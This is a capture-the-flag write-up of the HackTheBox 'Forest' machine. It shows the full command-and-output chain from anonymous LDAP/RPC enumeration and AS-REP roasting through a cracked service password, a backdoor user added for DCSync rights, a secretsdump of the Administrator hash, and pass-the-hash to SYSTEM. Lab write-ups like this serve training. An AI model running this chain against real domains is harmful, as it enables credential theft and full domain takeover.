Forest
An easy box from HackTheBox, entirely AD - first get a user hash by AS-REP roasting and crack it for initial access with evil-winrm, then scrape AD information and use bloodhound to find a path to domain admin via group misconfigurations.
Recon
Running the usual nmap
sudo nmap -sC -sV -Pn -oA nmap/init 10.10.10.161
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-29 01:41:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsof� Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 3h36m50s, deviation: 4h57m01s, median: 6m48s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| NetBIOS computer name: FOREST\x00
| Workgroup: HTB\x00
|_ System time: 2022-09-28T18:41:33-07:00
Noting the domain
htb.local
Try to list SMB shares with smbclient, but error out
Next try to enumerate LDAP
georgy@pop-os:~/Documents/htb/forest$ ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Moving forward with another LDAP search get a huuuuge amount of output, meaning that we don’t need to authenticate to query the LDAP on the machine
georgy@pop-os:~/Documents/htb/forest$ ldapsearch -x -b "DC=htb,DC=local" -H ldap://10.10.10.161
...
Now that we know we have unauthenticated access, can try to extract some juicy information from RPC with RPC client
Exploitation
Using rpcclient
georgy@pop-os:~/Documents/htb/forest$ rpcclient -U '' -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Put these users into a list, “users”
Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi
And lets see if we can get their hashes using impacket with a lil AS-REP roast
georgy@pop-os:~/Documents/htb/forest$ for user in $(cat users); do /opt/impacket/examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user}; done
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for Administrator
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for sebastien
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for lucinda
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB:68863f82e594b0bd0ed405bace78bd50$875cc0a4ccfa4f31c035e01eb174d8547ad932b48f211d34b772cd13153cada6724ae9986dbc967809b7c068982e35ebf09d4acd26591ac9059ab9d11a6461397d0cd8bb8e407444d13e041d005701d1323f0e0ff16c7c3bfadac6854c2986e55c963e6c6a7bbe208650b8b2626eb6e004e2121dcd96ce7c8dd554a346783338b13dc155a1b18cbd323abcf3f1928083e5a6e11bc569b01b1ec56bd294a5fe12df0897005a37c669651f2a91a84cbfc3b3f63606ce22498ed05c4221d26b7c0bef1702ac8805a6dad64cc8ad6ddf303130c45d8dd1c3e5a6cd0c1a81f9a8e732
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for andy
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for mark
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for santi
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
And we get a hash!
Lets try to break it with hashcat and the rockyou.txt wordlist
georgy@pop-os:~/Documents/htb/forest$ hashcat -m 18200 hash /opt/seclists/Passwords/Leaked-Databases/rockyou.txt --force
...
$krb5asrep$23$svc-alfresco@HTB:68863f82e594b0bd0ed405bace78bd50$875cc0a4ccfa4f31c035e01eb174d8547ad932b48f211d34b772cd13153cada6724ae9986dbc967809b7c068982e35ebf09d4acd26591ac9059ab9d11a6461397d0cd8bb8e407444d13e041d005701d1323f0e0ff16c7c3bfadac6854c2986e55c963e6c6a7bbe208650b8b2626eb6e004e2121dcd96ce7c8dd554a346783338b13dc155a1b18cbd323abcf3f1928083e5a6e11bc569b01b1ec56bd294a5fe12df0897005a37c669651f2a91a84cbfc3b3f63606ce22498ed05c4221d26b7c0bef1702ac8805a6dad64cc8ad6ddf303130c45d8dd1c3e5a6cd0c1a81f9a8e732:s3rvice
...
Cracked! svc-alfresco:s3rvice
Now lets try evil-winrm with these creds, and get a shell!
georgy@pop-os:~/Documents/htb/forest$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
...
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Since this is a domain controller, lets get some information with bloodhound, using the SharpHound.ps1 collector
Send it over using a python server, and on the victim
*Evil-WinRM* PS C:\Users\svc-alfresco> invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
Export the file by copying it to a smb server on localhost, then import it into bloodhound
Then right click on the svc-alfresco user, and select “set as starting point”, and then right click the top level domain “HTB.LOCAL” and select “set as desination”
Now have a path from our current user to owning the domain, can right click on the edges of the graph to see example commands for how we progress
To get to domain admin, need to travel through 2 edges (the ones preceeding are “MemberOf”, dont need to abuse those)
Copying directly from “abuse info” tab on the “Generic All” edge:
Help message for GenericAll
To abuse this privilege with PowerView’s Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as a member of ACCOUNT OPERATORS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
$SecPassword = ConvertTo-SecureString 's3cret' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('svc-alfresco', $SecPassword)
Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ACCOUNT OPERATORS@HTB.LOCAL:
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'svc-alfresco' -Credential $Cred
Finally, verify that the user was successfully added to the group with PowerView’s Get-DomainGroupMember:
Get-DomainGroupMember -Identity 'Domain Admins'
Back to exploitation
First, need to import PowerView.ps1, so copy it off a local SMB server, and source it with the full path
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-Module C:\Users\svc-alfresco\Documents\PowerView.ps1
Lets create a new user so we dont accidentally ruin this one, and then since we have GenericAll privs, can just add the new user to the “Exchange Windows Permissions” group
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user pwned Password! /add
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'Password!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\pwned', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add pwned
The command completed successfully.
From here, go back to bloodhound to see what it says about the next edge, WriteDacl
Help message for WriteDacl
Use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:
Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync
Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain
lsadump::dcsync /domain:testlab.local /user:Administrator
Cleanup can be done using the Remove-DomainObjectAcl function:
Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync
Exploiting WriteDacl
Alright, now can use WriteDacl to use a DCSync attack - first need to give “pwned” user the rights
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwned -Rights DCSync
Now can use an impacket script to dump the hashes via DCSync
georgy@pop-os:/opt/impacket$ python3 examples/secretsdump.py htb.local/pwned:'Password!'@10.10.10.161
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Now passing in the hash to crackmapexec, pwn the admin!
georgy@pop-os:/opt/impacket$ cme smb 10.10.10.161 -u administrator -H aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [+] htb.local\administrator:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
Now connect to the machine with
python3 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file bWfdoTet.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service fazS on 10.10.10.161.....
[*] Starting service fazS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
And have SYSTEM!